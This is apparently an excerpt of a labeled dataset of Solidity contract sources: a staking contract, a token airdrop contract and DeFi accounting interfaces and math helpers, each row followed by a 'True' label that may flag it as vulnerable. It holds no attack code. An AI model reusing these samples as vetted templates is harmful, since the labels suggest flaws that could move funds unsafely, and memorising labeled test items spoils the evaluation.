if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement( address newOwner_ ) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed( address(0), _owner );
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require( _owner == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed( _owner, address(0) );
_owner = address(0);
}
function pushManagement( address newOwner_ ) public virtual override onlyManager() {
require( newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed( _owner, newOwner_ );
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require( msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled( _owner, _newOwner );
_owner = _newOwner;
}
}
interface ITendies {
function rebase( uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance( uint amount ) external view returns ( uint );
function balanceForGons( uint gons ) external view returns ( uint );
function index() external view returns ( uint );
}
interface IWarmup {
function retrieve( address staker_, uint amount_ ) external;
}
interface IDistributor {
function distribute() external returns ( bool );
}
contract DawgstasStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Dawgsta;
address public immutable Tendies;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (
address _Dawgsta,
address _Tendies,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime
) {
require( _Dawgsta != address(0) );
Dawgsta = _Dawgsta;
require( _Tendies != address(0) );
Tendies = _Tendies;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping( address => Claim ) public warmupInfo;
/**
@notice stake OHM to enter warmup
@param _amount uint
@return bool
*/
function stake( uint _amount, address _recipient ) external returns ( bool ) {
rebase();
IERC20( Dawgsta ).safeTransferFrom( msg.sender, address(this), _amount );
Claim memory info = warmupInfo[ _recipient ];
require( !info.lock, "Deposits for account are locked" );
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add( _amount ),
gons: info.gons.add( ITendies( Tendies ).gonsForBalance( _amount ) ),
expiry: epoch.number.add( warmupPeriod ),
lock: false
});
IERC20( Tendies ).safeTransfer( warmupContract, _amount );
return true;
}
/**
@notice retrieve sOHM from warmup
@param _recipient address
*/
function claim ( address _recipient ) public {
Claim memory info = warmupInfo[ _recipient ];
if ( epoch.number >= info.expiry && info.expiry != 0 ) {
delete warmupInfo[ _recipient ];
IWarmup( warmupContract ).retrieve( _recipient, ITendies( Tendies ).balanceForGons( info.gons ) );
}
}
/**
@notice forfeit sOHM in warmup and retrieve OHM
*/
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup( warmupContract ).retrieve( address(this), ITendies( Tendies ).balanceForGons( info.gons ) );
IERC20( Dawgsta ).safeTransfer( msg.sender, info.deposit );
}
/**
@notice prevent new deposits to address (protection from malicious activity)
*/
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
/**
@notice redeem sOHM for OHM
@param _amount uint
@param _trigger bool
*/
function unstake( uint _amount, bool _trigger ) external {
if ( _trigger ) {
rebase();
}
IERC20( Tendies ).safeTransferFrom( msg.sender, address(this), _amount );
IERC20( Dawgsta ).safeTransfer( msg.sender, _amount );
}
/**
@notice returns the sOHM index, which tracks rebase growth
@return uint
*/
function index() public view returns ( uint ) {
return ITendies( Tendies ).index();
}
/**
@notice trigger rebase if epoch over
*/
function rebase() public {
if( epoch.endTime <= uint32(block.timestamp) ) {
ITendies( Tendies ).rebase( epoch.distribute, epoch.number );
epoch.endTime = epoch.endTime.add32( epoch.length );
epoch.number++;
if ( distributor != address(0) ) {
IDistributor( distributor ).distribute();
}
uint balance = contractBalance();
uint staked = ITendies( Tendies ).circulatingSupply();
if( balance <= staked ) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub( staked );
}
}
}
/**
@notice returns contract OHM holdings, including bonuses provided
@return uint
*/
function contractBalance() public view returns ( uint ) {
return IERC20( Dawgsta ).balanceOf( address(this) ).add( totalBonus );
}
/**
@notice provide bonus to locked staking contract
@param _amount uint
*/
function giveLockBonus( uint _amount ) external {
require( msg.sender == locker );
totalBonus = totalBonus.add( _amount );
IERC20( Tendies ).safeTransfer( locker, _amount );
}
/**
@notice reclaim bonus from locked staking contract
@param _amount uint
*/
function returnLockBonus( uint _amount ) external {
require( msg.sender == locker );
totalBonus = totalBonus.sub( _amount );
IERC20( Tendies ).safeTransferFrom( locker, address(this), _amount );
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
/**
@notice sets the contract address for LP staking
@param _contract address
*/
function setContract( CONTRACTS _contract, address _address ) external onlyManager() {
if( _contract == CONTRACTS.DISTRIBUTOR ) { // 0
distributor = _address;
} else if ( _contract == CONTRACTS.WARMUP ) { // 1
require( warmupContract == address( 0 ), "Warmup cannot be set more than once" );
warmupContract = _address;
} else if ( _contract == CONTRACTS.LOCKER ) { // 2
require( locker == address(0), "Locker cannot be set more than once" );
locker = _address;
}
}
/**
* @notice set warmup period in epoch's numbers for new stakers
* @param _warmupPeriod uint
*/
function setWarmup( uint _warmupPeriod ) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
} | True | [
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|
pragma solidity 0.4.21;
contract ERC20Interface {
function transfer(address _to, uint _value) public returns (bool) {}
}
contract WhitelistInterface {
modifier onlyAdmins() {
require(isAdmin(msg.sender));
_;
}
function register(address[] newUsers) public onlyAdmins {}
function isAdmin(address _admin) public view returns(bool) {}
}
contract NecFunnel {
ERC20Interface token = ERC20Interface(0xCc80C051057B774cD75067Dc48f8987C4Eb97A5e);
WhitelistInterface list = WhitelistInterface(0x0E55c54249F25f70D519b7Fb1c20e3331e7Ba76d);
modifier onlyAdmins() {
require(list.isAdmin(msg.sender));
_;
}
event PaymentFailure(
address payee,
uint value
);
function dropNectar(address[] receivers, uint[] values) public onlyAdmins {
list.register(receivers);
for (uint i = 0; i < receivers.length; i++){
if (!token.transfer(receivers[i],values[i])) {
emit PaymentFailure(receivers[i], values[i]);
}
}
}
} | True | [
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// SPDX-License-Identifier: AGPL-3.0-or-later
// Copyright (C) 2018-2020 Maker Ecosystem Growth Holdings, INC.
pragma solidity ^0.8.4;
interface IPriceCalculator {
// 1st arg: initial price [wad]
// 2nd arg: seconds since auction start [seconds]
// returns: current auction price [wad]
function price(uint256, uint256) external view returns (uint256);
}
interface ICodex {
function init(address vault) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(
address,
bytes32,
uint256
) external;
function credit(address) external view returns (uint256);
function unbackedDebt(address) external view returns (uint256);
function balances(
address,
uint256,
address
) external view returns (uint256);
function vaults(address vault)
external
view
returns (
uint256 totalNormalDebt,
uint256 rate,
uint256 debtCeiling,
uint256 debtFloor
);
function positions(
address vault,
uint256 tokenId,
address position
) external view returns (uint256 collateral, uint256 normalDebt);
function globalDebt() external view returns (uint256);
function globalUnbackedDebt() external view returns (uint256);
function globalDebtCeiling() external view returns (uint256);
function delegates(address, address) external view returns (uint256);
function grantDelegate(address) external;
function revokeDelegate(address) external;
function modifyBalance(
address,
uint256,
address,
int256
) external;
function transferBalance(
address vault,
uint256 tokenId,
address src,
address dst,
uint256 amount
) external;
function transferCredit(
address src,
address dst,
uint256 amount
) external;
function modifyCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external;
function transferCollateralAndDebt(
address vault,
uint256 tokenId,
address src,
address dst,
int256 deltaCollateral,
int256 deltaNormalDebt
) external;
function confiscateCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external;
function settleUnbackedDebt(uint256 debt) external;
function createUnbackedDebt(
address debtor,
address creditor,
uint256 debt
) external;
function modifyRate(
address vault,
address creditor,
int256 rate
) external;
function lock() external;
}
interface IPriceFeed {
function peek() external returns (bytes32, bool);
function read() external view returns (bytes32);
}
interface ICollybus {
function vaults(address) external view returns (uint128, uint128);
function spots(address) external view returns (uint256);
function rates(uint256) external view returns (uint256);
function rateIds(address, uint256) external view returns (uint256);
function redemptionPrice() external view returns (uint256);
function live() external view returns (uint256);
function setParam(bytes32 param, uint256 data) external;
function setParam(
address vault,
bytes32 param,
uint128 data
) external;
function setParam(
address vault,
uint256 tokenId,
bytes32 param,
uint256 data
) external;
function updateDiscountRate(uint256 rateId, uint256 rate) external;
function updateSpot(address token, uint256 spot) external;
function read(
address vault,
address underlier,
uint256 tokenId,
uint256 maturity,
bool net
) external view returns (uint256 price);
function lock() external;
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDebtAuction {
function auctions(uint256)
external
view
returns (
uint256,
uint256,
address,
uint48,
uint48
);
function codex() external view returns (ICodex);
function token() external view returns (IERC20);
function minBidBump() external view returns (uint256);
function tokenToSellBump() external view returns (uint256);
function bidDuration() external view returns (uint48);
function auctionDuration() external view returns (uint48);
function auctionCounter() external view returns (uint256);
function live() external view returns (uint256);
function aer() external view returns (address);
function setParam(bytes32 param, uint256 data) external;
function startAuction(
address recipient,
uint256 tokensToSell,
uint256 bid
) external returns (uint256 id);
function redoAuction(uint256 id) external;
function submitBid(
uint256 id,
uint256 tokensToSell,
uint256 bid
) external;
function closeAuction(uint256 id) external;
function lock() external;
function cancelAuction(uint256 id) external;
}
interface ISurplusAuction {
function auctions(uint256)
external
view
returns (
uint256,
uint256,
address,
uint48,
uint48
);
function codex() external view returns (ICodex);
function token() external view returns (IERC20);
function minBidBump() external view returns (uint256);
function bidDuration() external view returns (uint48);
function auctionDuration() external view returns (uint48);
function auctionCounter() external view returns (uint256);
function live() external view returns (uint256);
function setParam(bytes32 param, uint256 data) external;
function startAuction(uint256 creditToSell, uint256 bid) external returns (uint256 id);
function redoAuction(uint256 id) external;
function submitBid(
uint256 id,
uint256 creditToSell,
uint256 bid
) external;
function closeAuction(uint256 id) external;
function lock(uint256 credit) external;
function cancelAuction(uint256 id) external;
}
interface IAer {
function codex() external view returns (ICodex);
function surplusAuction() external view returns (ISurplusAuction);
function debtAuction() external view returns (IDebtAuction);
function debtQueue(uint256) external view returns (uint256);
function queuedDebt() external view returns (uint256);
function debtOnAuction() external view returns (uint256);
function auctionDelay() external view returns (uint256);
function debtAuctionSellSize() external view returns (uint256);
function debtAuctionBidSize() external view returns (uint256);
function surplusAuctionSellSize() external view returns (uint256);
function surplusBuffer() external view returns (uint256);
function live() external view returns (uint256);
function setParam(bytes32 param, uint256 data) external;
function setParam(bytes32 param, address data) external;
function queueDebt(uint256 debt) external;
function unqueueDebt(uint256 queuedAt) external;
function settleDebtWithSurplus(uint256 debt) external;
function settleAuctionedDebt(uint256 debt) external;
function startDebtAuction() external returns (uint256 auctionId);
function startSurplusAuction() external returns (uint256 auctionId);
function transferCredit(address to, uint256 credit) external;
function lock() external;
}
interface ILimes {
function codex() external view returns (ICodex);
function aer() external view returns (IAer);
function vaults(address)
external
view
returns (
address,
uint256,
uint256,
uint256
);
function live() external view returns (uint256);
function globalMaxDebtOnAuction() external view returns (uint256);
function globalDebtOnAuction() external view returns (uint256);
function setParam(bytes32 param, address data) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(
address vault,
bytes32 param,
uint256 data
) external;
function setParam(
address vault,
bytes32 param,
address collateralAuction
) external;
function liquidationPenalty(address vault) external view returns (uint256);
function liquidate(
address vault,
uint256 tokenId,
address position,
address keeper
) external returns (uint256 auctionId);
function liquidated(
address vault,
uint256 tokenId,
uint256 debt
) external;
function lock() external;
}
interface INoLossCollateralAuction {
function vaults(address)
external
view
returns (
uint256,
uint256,
uint256,
ICollybus,
IPriceCalculator
);
function codex() external view returns (ICodex);
function limes() external view returns (ILimes);
function aer() external view returns (IAer);
function feeTip() external view returns (uint64);
function flatTip() external view returns (uint192);
function auctionCounter() external view returns (uint256);
function activeAuctions(uint256) external view returns (uint256);
function auctions(uint256)
external
view
returns (
uint256,
uint256,
uint256,
address,
uint256,
address,
uint96,
uint256
);
function stopped() external view returns (uint256);
function init(address vault, address collybus) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(bytes32 param, address data) external;
function setParam(
address vault,
bytes32 param,
uint256 data
) external;
function setParam(
address vault,
bytes32 param,
address data
) external;
function startAuction(
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address keeper
) external returns (uint256 auctionId);
function redoAuction(uint256 auctionId, address keeper) external;
function takeCollateral(
uint256 auctionId,
uint256 collateralAmount,
uint256 maxPrice,
address recipient,
bytes calldata data
) external;
function count() external view returns (uint256);
function list() external view returns (uint256[] memory);
function getStatus(uint256 auctionId)
external
view
returns (
bool needsRedo,
uint256 price,
uint256 collateralToSell,
uint256 debt
);
function updateAuctionDebtFloor(address vault) external;
function cancelAuction(uint256 auctionId) external;
}// Copyright (C) 2018 Rain <[email protected]>
interface IVault {
function codex() external view returns (ICodex);
function collybus() external view returns (ICollybus);
function token() external view returns (address);
function tokenScale() external view returns (uint256);
function underlierToken() external view returns (address);
function underlierScale() external view returns (uint256);
function vaultType() external view returns (bytes32);
function live() external view returns (uint256);
function lock() external;
function setParam(bytes32 param, address data) external;
function maturity(uint256 tokenId) external returns (uint256);
function fairPrice(
uint256 tokenId,
bool net,
bool face
) external view returns (uint256);
function enter(
uint256 tokenId,
address user,
uint256 amount
) external;
function exit(
uint256 tokenId,
address user,
uint256 amount
) external;
}
interface IGuarded {
function ANY_SIG() external view returns (bytes32);
function ANY_CALLER() external view returns (address);
function allowCaller(bytes32 sig, address who) external;
function blockCaller(bytes32 sig, address who) external;
function canCall(bytes32 sig, address who) external view returns (bool);
}
/// @title Guarded
/// @notice Mixin implementing an authentication scheme on a method level
abstract contract Guarded is IGuarded {
/// ======== Custom Errors ======== ///
error Guarded__notRoot();
error Guarded__notGranted();
/// ======== Storage ======== ///
/// @notice Wildcard for granting a caller to call every guarded method
bytes32 public constant override ANY_SIG = keccak256("ANY_SIG");
/// @notice Wildcard for granting a caller to call every guarded method
address public constant override ANY_CALLER = address(uint160(uint256(bytes32(keccak256("ANY_CALLER")))));
/// @notice Mapping storing who is granted to which method
/// @dev Method Signature => Caller => Bool
mapping(bytes32 => mapping(address => bool)) private _canCall;
/// ======== Events ======== ///
event AllowCaller(bytes32 sig, address who);
event BlockCaller(bytes32 sig, address who);
constructor() {
// set root
_setRoot(msg.sender);
}
/// ======== Auth ======== ///
modifier callerIsRoot() {
if (_canCall[ANY_SIG][msg.sender]) {
_;
} else revert Guarded__notRoot();
}
modifier checkCaller() {
if (canCall(msg.sig, msg.sender)) {
_;
} else revert Guarded__notGranted();
}
/// @notice Grant the right to call method `sig` to `who`
/// @dev Only the root user (granted `ANY_SIG`) is able to call this method
/// @param sig Method signature (4Byte)
/// @param who Address of who should be able to call `sig`
function allowCaller(bytes32 sig, address who) public override callerIsRoot {
_canCall[sig][who] = true;
emit AllowCaller(sig, who);
}
/// @notice Revoke the right to call method `sig` from `who`
/// @dev Only the root user (granted `ANY_SIG`) is able to call this method
/// @param sig Method signature (4Byte)
/// @param who Address of who should not be able to call `sig` anymore
function blockCaller(bytes32 sig, address who) public override callerIsRoot {
_canCall[sig][who] = false;
emit BlockCaller(sig, who);
}
/// @notice Returns if `who` can call `sig`
/// @param sig Method signature (4Byte)
/// @param who Address of who should be able to call `sig`
function canCall(bytes32 sig, address who) public view override returns (bool) {
return (_canCall[sig][who] || _canCall[ANY_SIG][who] || _canCall[sig][ANY_CALLER]);
}
/// @notice Sets the root user (granted `ANY_SIG`)
/// @param root Address of who should be set as root
function _setRoot(address root) internal {
_canCall[ANY_SIG][root] = true;
emit AllowCaller(ANY_SIG, root);
}
/// @notice Unsets the root user (granted `ANY_SIG`)
/// @param root Address of who should be unset as root
function _unsetRoot(address root) internal {
_canCall[ANY_SIG][root] = false;
emit AllowCaller(ANY_SIG, root);
}
}// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC.
uint256 constant MLN = 10**6;
uint256 constant BLN = 10**9;
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**18;
uint256 constant RAD = 10**18;
/* solhint-disable func-visibility, no-inline-assembly */
error Math__toInt256_overflow(uint256 x);
function toInt256(uint256 x) pure returns (int256) {
if (x > uint256(type(int256).max)) revert Math__toInt256_overflow(x);
return int256(x);
}
function min(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = x <= y ? x : y;
}
}
function max(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = x >= y ? x : y;
}
}
error Math__diff_overflow(uint256 x, uint256 y);
function diff(uint256 x, uint256 y) pure returns (int256 z) {
unchecked {
z = int256(x) - int256(y);
if (!(int256(x) >= 0 && int256(y) >= 0)) revert Math__diff_overflow(x, y);
}
}
error Math__add_overflow(uint256 x, uint256 y);
function add(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if ((z = x + y) < x) revert Math__add_overflow(x, y);
}
}
error Math__add48_overflow(uint256 x, uint256 y);
function add48(uint48 x, uint48 y) pure returns (uint48 z) {
unchecked {
if ((z = x + y) < x) revert Math__add48_overflow(x, y);
}
}
error Math__add_overflow_signed(uint256 x, int256 y);
function add(uint256 x, int256 y) pure returns (uint256 z) {
unchecked {
z = x + uint256(y);
if (!(y >= 0 || z <= x)) revert Math__add_overflow_signed(x, y);
if (!(y <= 0 || z >= x)) revert Math__add_overflow_signed(x, y);
}
}
error Math__sub_overflow(uint256 x, uint256 y);
function sub(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if ((z = x - y) > x) revert Math__sub_overflow(x, y);
}
}
error Math__sub_overflow_signed(uint256 x, int256 y);
function sub(uint256 x, int256 y) pure returns (uint256 z) {
unchecked {
z = x - uint256(y);
if (!(y <= 0 || z <= x)) revert Math__sub_overflow_signed(x, y);
if (!(y >= 0 || z >= x)) revert Math__sub_overflow_signed(x, y);
}
}
error Math__mul_overflow(uint256 x, uint256 y);
function mul(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if (!(y == 0 || (z = x * y) / y == x)) revert Math__mul_overflow(x, y);
}
}
error Math__mul_overflow_signed(uint256 x, int256 y);
function mul(uint256 x, int256 y) pure returns (int256 z) {
unchecked {
z = int256(x) * y;
if (int256(x) < 0) revert Math__mul_overflow_signed(x, y);
if (!(y == 0 || z / y == int256(x))) revert Math__mul_overflow_signed(x, y);
}
}
function wmul(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = mul(x, y) / WAD;
}
}
function wmul(uint256 x, int256 y) pure returns (int256 z) {
unchecked {
z = mul(x, y) / int256(WAD);
}
}
error Math__div_overflow(uint256 x, uint256 y);
function div(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
if (y == 0) revert Math__div_overflow(x, y);
return x / y;
}
}
function wdiv(uint256 x, uint256 y) pure returns (uint256 z) {
unchecked {
z = mul(x, WAD) / y;
}
}
// optimized version from dss PR #78
function wpow(
uint256 x,
uint256 n,
uint256 b
) pure returns (uint256 z) {
unchecked {
assembly {
switch n
case 0 {
z := b
}
default {
switch x
case 0 {
z := 0
}
default {
switch mod(n, 2)
case 0 {
z := b
}
default {
z := x
}
let half := div(b, 2) // for rounding.
for {
n := div(n, 2)
} n {
n := div(n, 2)
} {
let xx := mul(x, x)
if shr(128, x) {
revert(0, 0)
}
let xxRound := add(xx, half)
if lt(xxRound, xx) {
revert(0, 0)
}
x := div(xxRound, b)
if mod(n, 2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {
revert(0, 0)
}
let zxRound := add(zx, half)
if lt(zxRound, zx) {
revert(0, 0)
}
z := div(zxRound, b)
}
}
}
}
}
}
}
/* solhint-disable func-visibility, no-inline-assembly */
/// @title Codex
/// @notice `Codex` is responsible for the accounting of collateral and debt balances
/// Uses Vat.sol from DSS (MakerDAO) / SafeEngine.sol from GEB (Reflexer Labs) as a blueprint
/// Changes from Vat.sol / SafeEngine.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract Codex is Guarded, ICodex {
/// ======== Custom Errors ======== ///
error Codex__init_vaultAlreadyInit();
error Codex__setParam_notLive();
error Codex__setParam_unrecognizedParam();
error Codex__transferBalance_notAllowed();
error Codex__transferCredit_notAllowed();
error Codex__modifyCollateralAndDebt_notLive();
error Codex__modifyCollateralAndDebt_vaultNotInit();
error Codex__modifyCollateralAndDebt_ceilingExceeded();
error Codex__modifyCollateralAndDebt_notSafe();
error Codex__modifyCollateralAndDebt_notAllowedSender();
error Codex__modifyCollateralAndDebt_notAllowedCollateralizer();
error Codex__modifyCollateralAndDebt_notAllowedDebtor();
error Codex__modifyCollateralAndDebt_debtFloor();
error Codex__transferCollateralAndDebt_notAllowed();
error Codex__transferCollateralAndDebt_notSafeSrc();
error Codex__transferCollateralAndDebt_notSafeDst();
error Codex__transferCollateralAndDebt_debtFloorSrc();
error Codex__transferCollateralAndDebt_debtFloorDst();
error Codex__modifyRate_notLive();
/// ======== Storage ======== ///
// Vault Data
struct Vault {
// Total Normalised Debt in Vault [wad]
uint256 totalNormalDebt;
// Vault's Accumulation Rate [wad]
uint256 rate;
// Vault's Debt Ceiling [wad]
uint256 debtCeiling;
// Debt Floor for Positions corresponding to this Vault [wad]
uint256 debtFloor;
}
// Position Data
struct Position {
// Locked Collateral in Position [wad]
uint256 collateral;
// Normalised Debt (gross debt before rate is applied) generated by Position [wad]
uint256 normalDebt;
}
/// @notice Map of delegatees who can modify collateral, debt and credit on behalf of a delegator
/// @dev Delegator => Delegatee => hasDelegate
mapping(address => mapping(address => uint256)) public override delegates;
/// @notice Vaults
/// @dev Vault => Vault Data
mapping(address => Vault) public override vaults;
/// @notice Positions
/// @dev Vault => TokenId => Owner => Position
mapping(address => mapping(uint256 => mapping(address => Position))) public override positions;
/// @notice Token balances not put up for collateral in a Position
/// @dev Vault => TokenId => Owner => Balance [wad]
mapping(address => mapping(uint256 => mapping(address => uint256))) public override balances;
/// @notice Credit balances
/// @dev Account => Credit [wad]
mapping(address => uint256) public override credit;
/// @notice Unbacked Debt balances
/// @dev Account => Unbacked Debt [wad]
mapping(address => uint256) public override unbackedDebt;
/// @notice Global Debt (incl. rate) outstanding == Credit Issued [wad]
uint256 public override globalDebt;
/// @notice Global Unbacked Debt (incl. rate) oustanding == Total Credit [wad]
uint256 public override globalUnbackedDebt;
/// @notice Global Debt Ceiling [wad]
uint256 public override globalDebtCeiling;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public live;
/// ======== Events ======== ///
event Init(address indexed vault);
event SetParam(bytes32 indexed param, uint256 data);
event SetParam(address indexed vault, bytes32 indexed param, uint256 data);
event GrantDelegate(address indexed delegator, address indexed delegatee);
event RevokeDelegate(address indexed delegator, address indexed delegatee);
event ModifyBalance(
address indexed vault,
